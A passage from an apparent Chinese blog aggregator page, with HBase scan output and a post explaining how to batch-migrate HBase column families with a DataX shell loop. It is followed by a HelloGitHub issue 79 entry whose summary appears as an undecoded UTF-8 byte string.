 row1         column=cf-d:name, timestamp=1668156686626, value=nihao                                                     
 row2         column=cf-d:name, timestamp=1668156686626, value=world                                                     
 row4         column=cf:name, timestamp=1668156303932, value=hello3                                                      
 row4         column=cf-d:name, timestamp=1668156686626, value=buhao

#再说一个小例子,从上面的例子可以看到name也就是"列族:列名"是固定值,现在如何批量的跑一遍数据呢?

#从上面的例子我们也可以看出主要也就是column下面的name要变化一下,比如我们把这里做一个模板,只需要批量的替换这里就行了,比如我们把所有的"列族:列"去重搞出来放到一个文件,如/tmp/2.txt,然后这就是一个循环嘛,然后再循环的替换模板里面的那个变量然后产生新的job.json文件,然后再执行这个文件就行了。

$ for num in `cat /tmp/2.txt`;do cp job/moban.json test_job/${num}.json && sed -i "s/CF-D/${num}/g" test_job/${num}.json &&  bin/datax.py test_job/${num}.json;done >/dev/null

#大概就是上面这么一个意思,这也是一个实际的小例子,当然前提也是对方Hbase已经创建好对应的表,列族。

关于Hbase的备份和恢复就先写到这里把,网上也有很多其他的例子,条条大路通罗马,目的实现便可。

November 03, 2022 03:21 AM

October 28, 2022

hellogithub

HelloGitHub 第 79 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRuby \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (2)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

October 28, 2022 12:09 AM